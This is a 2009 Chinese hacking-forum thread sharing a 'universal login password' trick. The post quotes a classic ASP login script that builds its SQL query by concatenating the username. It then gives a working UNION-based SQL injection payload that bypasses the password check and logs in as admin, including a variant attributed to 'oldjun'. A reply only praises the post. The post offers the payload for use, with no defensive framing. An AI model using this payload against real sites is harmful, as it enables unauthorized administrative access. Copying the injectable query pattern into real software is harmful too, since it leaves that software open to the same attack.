WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 1756查看
  • 1回复

[经验分享] 新型万能登录密码

主题

好友

-50

积分

禁止访问

发表于 2009-12-21 18:24:01 |显示全部楼层
网上有很多这样的登陆验证代码
<%
username=trim(Request.Form("username"))
password=trim(Request.Form("password"))
sql="Select * FROM admin Where user='"&username&"'"
Set rs=Server.CreateObject("adodb.recordset")
rs.Open sql,conn,1,1
if rs.eof then
       checksysUser=FALSE
else
       passwd=trim(rs("pwd"))
       if passwd=password then
          Session("admin")=username
          checksysUser=TRUE              
           else
          checksysUser=FALSE
       end if
End if
rs.close
conn.close
if checksysUser=true then
       Response.Redirect("main.asp")
else
       errmsg="<font color=#FF0000><b>用户名输入有误,请重新输入!</b></font>"
end if
%>
先在数据库中查询用户名对应的密码,然后再和用户输入的密码对比,导致'or'='or'这样的万能登陆密码失
效.但如果在上面的程序中,用户名输入' UNION Select 1,1,1 FROM admin Where ''=',密码输入1,就可以登陆成功,原理很简单,就不多说了.顺便附上oldjun的语句:' UNION Select 1,1,1 AS pwd FROM admin Where ''='

主题

好友

3436

积分

荣誉贵宾

发表于 2009-12-24 18:30:29 |显示全部楼层
好东西      必须的顶
回复

使用道具 举报

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-5-17 09:27 , Processed in 0.069326 second(s), 16 queries .

返回顶部